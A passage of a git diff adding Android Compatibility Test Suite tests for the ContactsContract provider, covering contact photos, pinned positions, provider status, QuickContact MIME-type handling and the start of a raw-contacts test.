+import android.test.InstrumentationTestCase;
+
+import com.android.compatibility.common.util.FileUtils;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ContactsContract_PhotoTest extends InstrumentationTestCase {
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    private static final byte[] EMPTY_TEST_PHOTO_DATA = "".getBytes();
+
+    private Context mContext;
+
+    private ContentResolver mResolver;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mContext= getInstrumentation().getTargetContext();
+        mResolver = mContext.getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testAddPhoto() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        TestContact contact = rawContact.getContact().load();
+
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri()));
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), true));
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), false));
+
+        TestData photoData = rawContact.newDataRow(Photo.CONTENT_ITEM_TYPE)
+                .with(Photo.PHOTO, PhotoUtil.getTestPhotoData(mContext))
+                .insert();
+
+        photoData.load();
+        photoData.assertColumn(Photo.RAW_CONTACT_ID, rawContact.getId());
+        photoData.assertBlobColumnNotNull(Photo.PHOTO);
+
+        assertPhotoStream(Contacts.openContactPhotoInputStream(mResolver, contact.getUri()));
+        assertPhotoStream(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), true));
+        assertPhotoStream(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), false));
+    }
+
+    public void testAddEmptyPhoto() throws Exception {
+        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+        TestContact contact = rawContact.getContact().load();
+
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri()));
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), true));
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), false));
+
+        TestData photoData = rawContact.newDataRow(Photo.CONTENT_ITEM_TYPE)
+                .with(Photo.PHOTO, EMPTY_TEST_PHOTO_DATA)
+                .insert();
+        assertNotNull(photoData.load());
+
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri()));
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), true));
+        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), false));
+    }
+
+    private void assertPhotoStream(InputStream photoStream) throws IOException {
+        try {
+            assertNotNull(photoStream);
+            byte[] actualBytes = FileUtils.readInputStreamFully(photoStream);
+            assertTrue(actualBytes.length > 0);
+        } finally {
+            if (photoStream != null) {
+                photoStream.close();
+            }
+        }
+    }
+}
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java
new file mode 100644
index 0000000..f180664
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_PinnedPositionsTest.java
@@ -0,0 +1,407 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import static android.provider.cts.contacts.ContactUtil.newContentValues;
+
+import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.OperationApplicationException;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.AggregationExceptions;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.PinnedPositions;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.CommonDatabaseUtils;
+import android.provider.cts.contacts.ContactUtil;
+import android.provider.cts.contacts.DatabaseAsserts;
+import android.provider.cts.contacts.RawContactUtil;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import java.util.ArrayList;
+
+/**
+ * CTS tests for {@link android.provider.ContactsContract.PinnedPositions} API
+ */
+public class ContactsContract_PinnedPositionsTest extends AndroidTestCase {
+    private static final String TAG = "ContactsContract_PinnedPositionsTest";
+
+    private ContentResolver mResolver;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+    }
+
+    /**
+     * Tests that the ContactsProvider automatically stars/unstars a pinned/unpinned contact if
+     * {@link PinnedPositions#STAR_WHEN_PINNING} boolean parameter is set to true, and that the
+     * values are correctly propogated to the contact's constituent raw contacts.
+     */
+    public void testPinnedPositionsUpdate() {
+        final DatabaseAsserts.ContactIdPair i1 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i2 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i3 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i4 = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        final int unpinned = PinnedPositions.UNPINNED;
+
+        assertValuesForContact(i1.mContactId,
+                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
+        assertValuesForContact(i2.mContactId,
+                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
+        assertValuesForContact(i3.mContactId,
+                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
+        assertValuesForContact(i4.mContactId,
+                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
+
+        assertValuesForRawContact(i1.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
+        assertValuesForRawContact(i2.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
+        assertValuesForRawContact(i3.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
+        assertValuesForRawContact(i4.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
+
+        final ArrayList<ContentProviderOperation> operations =
+                new ArrayList<ContentProviderOperation>();
+        operations.add(newPinningOperation(i1.mContactId, 1, true));
+        operations.add(newPinningOperation(i3.mContactId, 3, true));
+        operations.add(newPinningOperation(i4.mContactId, 2, false));
+        applyBatch(mResolver, operations);
+
+        assertValuesForContact(i1.mContactId,
+                newContentValues(Contacts.PINNED, 1, Contacts.STARRED, 1));
+        assertValuesForContact(i2.mContactId,
+                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
+        assertValuesForContact(i3.mContactId,
+                newContentValues(Contacts.PINNED, 3, Contacts.STARRED, 1));
+        assertValuesForContact(i4.mContactId,
+                newContentValues(Contacts.PINNED, 2, Contacts.STARRED, 0));
+
+        // Make sure the values are propagated to raw contacts.
+        assertValuesForRawContact(i1.mRawContactId, newContentValues(RawContacts.PINNED, 1));
+        assertValuesForRawContact(i2.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
+        assertValuesForRawContact(i3.mRawContactId, newContentValues(RawContacts.PINNED, 3));
+        assertValuesForRawContact(i4.mRawContactId, newContentValues(RawContacts.PINNED, 2));
+
+        operations.clear();
+
+        // Now unpin the contact
+        operations.add(newPinningOperation(i3.mContactId, unpinned, false));
+        applyBatch(mResolver, operations);
+
+        assertValuesForContact(i1.mContactId,
+                newContentValues(Contacts.PINNED, 1, Contacts.STARRED, 1));
+        assertValuesForContact(i2.mContactId,
+                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
+        assertValuesForContact(i3.mContactId,
+                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
+        assertValuesForContact(i4.mContactId,
+                newContentValues(Contacts.PINNED, 2, Contacts.STARRED, 0));
+
+        assertValuesForRawContact(i1.mRawContactId,
+                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i2.mRawContactId,
+                newContentValues(RawContacts.PINNED, unpinned, RawContacts.STARRED, 0));
+        assertValuesForRawContact(i3.mRawContactId,
+                newContentValues(RawContacts.PINNED, unpinned, RawContacts.STARRED, 0));
+        assertValuesForRawContact(i4.mRawContactId,
+                newContentValues(RawContacts.PINNED, 2, RawContacts.STARRED, 0));
+
+        ContactUtil.delete(mResolver, i1.mContactId);
+        ContactUtil.delete(mResolver, i2.mContactId);
+        ContactUtil.delete(mResolver, i3.mContactId);
+        ContactUtil.delete(mResolver, i4.mContactId);
+    }
+
+    /**
+     * Tests that pinned positions are correctly handled after the ContactsProvider aggregates
+     * and splits raw contacts.
+     */
+    public void testPinnedPositionsAfterJoinAndSplit() {
+        final DatabaseAsserts.ContactIdPair i1 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i2 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i3 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i4 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i5 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i6 = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        final ArrayList<ContentProviderOperation> operations =
+                new ArrayList<ContentProviderOperation>();
+
+        operations.add(newPinningOperation(i1.mContactId, 1, true));
+        operations.add(newPinningOperation(i2.mContactId, 2, true));
+        operations.add(newPinningOperation(i3.mContactId, 3, true));
+        operations.add(newPinningOperation(i5.mContactId, 5, true));
+        operations.add(newPinningOperation(i6.mContactId, 6, true));
+
+        applyBatch(mResolver, operations);
+
+        // Aggregate raw contact 1 and 4 together.
+        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
+                i1.mRawContactId, i4.mRawContactId);
+
+        // If only one contact is pinned, the resulting contact should inherit the pinned position.
+        assertValuesForContact(i1.mContactId, newContentValues(Contacts.PINNED, 1));
+        assertValuesForContact(i2.mContactId, newContentValues(Contacts.PINNED, 2));
+        assertValuesForContact(i3.mContactId, newContentValues(Contacts.PINNED, 3));
+        assertValuesForContact(i5.mContactId, newContentValues(Contacts.PINNED, 5));
+        assertValuesForContact(i6.mContactId, newContentValues(Contacts.PINNED, 6));
+
+        assertValuesForRawContact(i1.mRawContactId,
+                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i2.mRawContactId,
+                newContentValues(RawContacts.PINNED, 2, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i3.mRawContactId,
+                newContentValues(RawContacts.PINNED, 3, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i4.mRawContactId,
+                newContentValues(RawContacts.PINNED, PinnedPositions.UNPINNED, RawContacts.STARRED,
+                        0));
+        assertValuesForRawContact(i5.mRawContactId,
+                newContentValues(RawContacts.PINNED, 5, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i6.mRawContactId,
+                newContentValues(RawContacts.PINNED, 6, RawContacts.STARRED, 1));
+
+        // Aggregate raw contact 2 and 3 together.
+        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
+                i2.mRawContactId, i3.mRawContactId);
+
+        // If both raw contacts are pinned, the resulting contact should inherit the lower
+        // pinned position.
+        assertValuesForContact(i1.mContactId, newContentValues(Contacts.PINNED, 1));
+        assertValuesForContact(i2.mContactId, newContentValues(Contacts.PINNED, 2));
+        assertValuesForContact(i5.mContactId, newContentValues(Contacts.PINNED, 5));
+        assertValuesForContact(i6.mContactId, newContentValues(Contacts.PINNED, 6));
+
+        assertValuesForRawContact(i1.mRawContactId, newContentValues(RawContacts.PINNED, 1));
+        assertValuesForRawContact(i2.mRawContactId, newContentValues(RawContacts.PINNED, 2));
+        assertValuesForRawContact(i3.mRawContactId, newContentValues(RawContacts.PINNED, 3));
+        assertValuesForRawContact(i4.mRawContactId,
+                newContentValues(RawContacts.PINNED, PinnedPositions.UNPINNED));
+        assertValuesForRawContact(i5.mRawContactId, newContentValues(RawContacts.PINNED, 5));
+        assertValuesForRawContact(i6.mRawContactId, newContentValues(RawContacts.PINNED, 6));
+
+        // Split the aggregated raw contacts.
+        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_SEPARATE,
+            i1.mRawContactId, i4.mRawContactId);
+
+        // Raw contacts should keep the pinned position after re-grouping, and still starred.
+        assertValuesForRawContact(i1.mRawContactId,
+                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED,
+                        1));
+        assertValuesForRawContact(i2.mRawContactId,
+                newContentValues(RawContacts.PINNED, 2, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i3.mRawContactId,
+                newContentValues(RawContacts.PINNED, 3, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i4.mRawContactId,
+                newContentValues(RawContacts.PINNED, PinnedPositions.UNPINNED, RawContacts.STARRED,
+                        0));
+        assertValuesForRawContact(i5.mRawContactId,
+                newContentValues(RawContacts.PINNED, 5, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i6.mRawContactId,
+                newContentValues(RawContacts.PINNED, 6, RawContacts.STARRED, 1));
+
+        // Now demote contact 5.
+        operations.clear();
+        operations.add(newPinningOperation(i5.mContactId, PinnedPositions.DEMOTED, false));
+        applyBatch(mResolver, operations);
+
+        // Get new contact Ids for contacts composing of raw contacts 1 and 4 because they have
+        // changed.
+        final long cId1 = RawContactUtil.queryContactIdByRawContactId(mResolver, i1.mRawContactId);
+        final long cId4 = RawContactUtil.queryContactIdByRawContactId(mResolver, i4.mRawContactId);
+
+        assertValuesForContact(cId1, newContentValues(Contacts.PINNED, 1));
+        assertValuesForContact(i2.mContactId, newContentValues(Contacts.PINNED, 2));
+        assertValuesForContact(cId4, newContentValues(Contacts.PINNED, PinnedPositions.UNPINNED));
+        assertValuesForContact(i5.mContactId,
+                newContentValues(Contacts.PINNED, PinnedPositions.DEMOTED));
+        assertValuesForContact(i6.mContactId, newContentValues(Contacts.PINNED, 6));
+
+        // Aggregate contacts 5 and 6 together.
+        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
+                i5.mRawContactId, i6.mRawContactId);
+
+        // The resulting contact should have a pinned value of 6.
+        assertValuesForContact(cId1, newContentValues(Contacts.PINNED, 1));
+        assertValuesForContact(i2.mContactId, newContentValues(Contacts.PINNED, 2));
+        assertValuesForContact(cId4, newContentValues(Contacts.PINNED, PinnedPositions.UNPINNED));
+        assertValuesForContact(i5.mContactId, newContentValues(Contacts.PINNED, 6));
+
+        ContactUtil.delete(mResolver, cId1);
+        ContactUtil.delete(mResolver, i2.mContactId);
+        ContactUtil.delete(mResolver, cId4);
+        ContactUtil.delete(mResolver, i5.mContactId);
+    }
+
+    /**
+     * Tests that calling {@link PinnedPositions#UNDEMOTE_METHOD} with an illegal argument correctly
+     * throws an IllegalArgumentException.
+     */
+    public void testPinnedPositionsDemoteIllegalArguments() {
+        try {
+            mResolver.call(ContactsContract.AUTHORITY_URI, PinnedPositions.UNDEMOTE_METHOD,
+                    null, null);
+            fail();
+        } catch (IllegalArgumentException expected) {
+        }
+
+        try {
+            mResolver.call(ContactsContract.AUTHORITY_URI, PinnedPositions.UNDEMOTE_METHOD,
+                    "1.1", null);
+            fail();
+        } catch (IllegalArgumentException expected) {
+        }
+
+        try {
+            mResolver.call(ContactsContract.AUTHORITY_URI, PinnedPositions.UNDEMOTE_METHOD,
+                    "NotANumber", null);
+            fail();
+        } catch (IllegalArgumentException expected) {
+        }
+
+        // Valid contact ID that does not correspond to an actual contact is silently ignored
+        mResolver.call(ContactsContract.AUTHORITY_URI, PinnedPositions.UNDEMOTE_METHOD, "999",
+                null);
+    }
+
+    /**
+     * Tests that pinned positions are correctly handled for contacts that have been demoted
+     * or undemoted.
+     */
+    public void testPinnedPositionsAfterDemoteAndUndemote() {
+        final DatabaseAsserts.ContactIdPair i1 = DatabaseAsserts.assertAndCreateContact(mResolver);
+        final DatabaseAsserts.ContactIdPair i2 = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+        // Pin contact 1 and demote contact 2
+        final ArrayList<ContentProviderOperation> operations =
+                new ArrayList<ContentProviderOperation>();
+        operations.add(newPinningOperation(i1.mContactId, 1, true));
+        operations.add(newPinningOperation(i2.mContactId, PinnedPositions.DEMOTED, false));
+        applyBatch(mResolver, operations);
+
+        assertValuesForContact(i1.mContactId,
+                newContentValues(Contacts.PINNED, 1, Contacts.STARRED, 1));
+        assertValuesForContact(i2.mContactId,
+                newContentValues(Contacts.PINNED, PinnedPositions.DEMOTED, Contacts.STARRED, 0));
+
+        assertValuesForRawContact(i1.mRawContactId,
+                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i2.mRawContactId,
+                newContentValues(RawContacts.PINNED, PinnedPositions.DEMOTED, RawContacts.STARRED, 0));
+
+        // Now undemote both contacts.
+        PinnedPositions.undemote(mResolver, i1.mContactId);
+        PinnedPositions.undemote(mResolver, i2.mContactId);
+
+        // Contact 1 remains pinned at 0, while contact 2 becomes unpinned.
+        assertValuesForContact(i1.mContactId,
+                newContentValues(Contacts.PINNED, 1, Contacts.STARRED, 1));
+        assertValuesForContact(i2.mContactId,
+                newContentValues(Contacts.PINNED, PinnedPositions.UNPINNED, Contacts.STARRED, 0));
+
+        assertValuesForRawContact(i1.mRawContactId,
+                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED, 1));
+        assertValuesForRawContact(i2.mRawContactId,
+                newContentValues(RawContacts.PINNED, PinnedPositions.UNPINNED, RawContacts.STARRED,
+                        0));
+
+        ContactUtil.delete(mResolver, i1.mContactId);
+        ContactUtil.delete(mResolver, i2.mContactId);
+    }
+
+    /**
+     * Verifies that the stored values for the contact that corresponds to the given contactId
+     * contain the exact same name-value pairs in the given ContentValues.
+     *
+     * @param contactId Id of a valid contact in the contacts database.
+     * @param contentValues A valid ContentValues object.
+     */
+    private void assertValuesForContact(long contactId, ContentValues contentValues) {
+        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, Contacts.CONTENT_URI.
+                buildUpon().appendEncodedPath(String.valueOf(contactId)).build(), contentValues);
+    }
+
+    /**
+     * Verifies that the stored values for the raw contact that corresponds to the given
+     * rawContactId contain the exact same name-value pairs in the given ContentValues.
+     *
+     * @param rawContactId Id of a valid contact in the contacts database
+     * @param contentValues A valid ContentValues object
+     */
+    private void assertValuesForRawContact(long rawContactId, ContentValues contentValues) {
+        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, RawContacts.CONTENT_URI.
+                buildUpon().appendEncodedPath(String.valueOf(rawContactId)).build(), contentValues);
+    }
+
+    /**
+     * Updates the contacts provider for a contact or raw contact corresponding to the given
+     * contact with key-value pairs as specified in the provided string parameters. Throws an
+     * exception if the number of provided string parameters is not zero or non-even.
+     *
+     * @param uri base URI that the provided ID will be appended onto, in order to creating the
+     * resulting URI
+     * @param id id of the contact of raw contact to perform the update for
+     * @param extras an even number of string parameters that correspond to name-value pairs
+     *
+     * @return the number of rows that were updated
+     */
+    private int updateItemForContact(Uri uri, long id, String... extras) {
+        Uri itemUri = ContentUris.withAppendedId(uri, id);
+        return updateItemForUri(itemUri, extras);
+    }
+
+    /**
+     * Updates the contacts provider for the given YRU with key-value pairs as specified in the
+     * provided string parameters. Throws an exception if the number of provided string parameters
+     * is not zero or non-even.
+     *
+     * @param uri URI to perform the update for
+     * @param extras an even number of string parameters that correspond to name-value pairs
+     *
+     * @return the number of rows that were updated
+     */
+    private int updateItemForUri(Uri uri, String... extras) {
+        ContentValues values = new ContentValues();
+        CommonDatabaseUtils.extrasVarArgsToValues(values, extras);
+        return mResolver.update(uri, values, null, null);
+    }
+
+    private ContentProviderOperation newPinningOperation(long id, int pinned, boolean star) {
+        final Uri uri = Uri.withAppendedPath(Contacts.CONTENT_URI, String.valueOf(id));
+        final ContentValues values = new ContentValues();
+        values.put(Contacts.PINNED, pinned);
+        values.put(Contacts.STARRED, star ? 1 : 0);
+        return ContentProviderOperation.newUpdate(uri).withValues(values).build();
+    }
+
+    private static void applyBatch(ContentResolver resolver,
+            ArrayList<ContentProviderOperation> operations) {
+        try {
+            resolver.applyBatch(ContactsContract.AUTHORITY, operations);
+        } catch (OperationApplicationException e) {
+            Log.wtf(TAG, "ContentResolver batch operation failed.");
+        } catch (RemoteException e) {
+            Log.wtf(TAG, "Remote exception when performing batch operation.");
+        }
+    }
+}
+
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java
new file mode 100644
index 0000000..228e423
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ProviderStatus.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.ProviderStatus;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+/**
+ * CTS tests for {@link android.provider.ContactsContract.ProviderStatus}.
+ *
+ * Unfortunately, we can't check that the value of ProviderStatus equals
+ * {@link ProviderStatus#STATUS_EMPTY} initially. Some carriers pre-install
+ * accounts. As a result, the value STATUS_EMPTY will never be achieved.
+ */
+public class ContactsContract_ProviderStatus extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mBuilder.cleanup();
+    }
+
+    public void testProviderStatus_addedContacts() throws Exception {
+        // Setup: add a contact to CP2.
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "first1")
+                .with(StructuredName.FAMILY_NAME, "last1")
+                .insert();
+
+        // Execute: fetch CP2 status
+        Cursor cursor = mResolver.query(ProviderStatus.CONTENT_URI, null, null, null, null);
+
+        // Verify: CP2 status is normal instead of STATUS_EMPTY.
+        try {
+            assertEquals(1, cursor.getCount());
+            cursor.moveToFirst();
+            ContentValues values = new ContentValues();
+            values.put(ProviderStatus.STATUS, ProviderStatus.STATUS_NORMAL);
+            DatabaseAsserts.assertCursorValuesMatchExactly(cursor, values);
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java
new file mode 100644
index 0000000..5e27e21
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_QuickContactsTest.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentUris;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.provider.Contacts;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.QuickContact;
+import android.test.InstrumentationTestCase;
+import android.test.UiThreadTest;
+import android.view.View;
+
+import java.util.Arrays;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class ContactsContract_QuickContactsTest extends InstrumentationTestCase {
+
+    final String EXCLUDED_MIME_TYPES[] = {"exclude1", "exclude2"};
+    final String PLAIN_MIME_TYPE = "text/plain";
+    final Uri FAKE_CONTACT_URI = ContentUris.withAppendedId(Contacts.CONTENT_URI, 0);
+
+    @UiThreadTest
+    public void testPrioritizedMimeTypeAndExcludedMimeTypes() throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(2);
+        Context context = new ContextWrapper(getInstrumentation().getContext()) {
+            @Override
+            public void startActivity(Intent intent) {
+                testCallback(intent);
+            }
+
+            @Override
+            public void startActivityAsUser(Intent intent, UserHandle user) {
+                testCallback(intent);
+            }
+
+            @Override
+            public void startActivityAsUser(Intent intent, Bundle options, UserHandle user) {
+                testCallback(intent);
+            }
+
+            private void testCallback(Intent intent) {
+                assertEquals(PLAIN_MIME_TYPE, intent.getStringExtra(
+                        QuickContact.EXTRA_PRIORITIZED_MIMETYPE));
+                String excludedMimeTypes[]
+                        = intent.getStringArrayExtra(QuickContact.EXTRA_EXCLUDE_MIMES);
+                assertTrue(Arrays.equals(excludedMimeTypes, EXCLUDED_MIME_TYPES));
+                latch.countDown();
+            }
+        };
+
+        // Execute
+        ContactsContract.QuickContact.showQuickContact(context, new View(context),
+                FAKE_CONTACT_URI, EXCLUDED_MIME_TYPES, PLAIN_MIME_TYPE);
+        ContactsContract.QuickContact.showQuickContact(context, (Rect) null,
+                FAKE_CONTACT_URI, EXCLUDED_MIME_TYPES, PLAIN_MIME_TYPE);
+
+        // Verify: the start activity call sets the prioritized mimetype and excludes mimetypes.
+        // We don't know which method will be used to start the activity, so we check all options.
+        assertTrue(latch.await(1, TimeUnit.SECONDS));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
new file mode 100644
index 0000000..7c971b3
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
@@ -0,0 +1,306 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+
+public class ContactsContract_RawContactsTest extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    private static final String[] RAW_CONTACTS_PROJECTION = new String[]{
+            RawContacts._ID,
+            RawContacts.CONTACT_ID,
+            RawContacts.DELETED,
+            RawContacts.DISPLAY_NAME_PRIMARY,
+            RawContacts.DISPLAY_NAME_ALTERNATIVE,
+            RawContacts.DISPLAY_NAME_SOURCE,
+            RawContacts.PHONETIC_NAME,
+            RawContacts.PHONETIC_NAME_STYLE,
+            RawContacts.SORT_KEY_PRIMARY,
+            RawContacts.SORT_KEY_ALTERNATIVE,
+            RawContacts.TIMES_CONTACTED,
+            RawContacts.LAST_TIME_CONTACTED,
+            RawContacts.CUSTOM_RINGTONE,
+            RawContacts.SEND_TO_VOICEMAIL,
+            RawContacts.STARRED,
+            RawContacts.PINNED,
+            RawContacts.AGGREGATION_MODE,
+            RawContacts.RAW_CONTACT_IS_USER_PROFILE,
+            RawContacts.ACCOUNT_NAME,
+            RawContacts.ACCOUNT_TYPE,
+            RawContacts.DATA_SET,
+            RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
+            RawContacts.DIRTY,
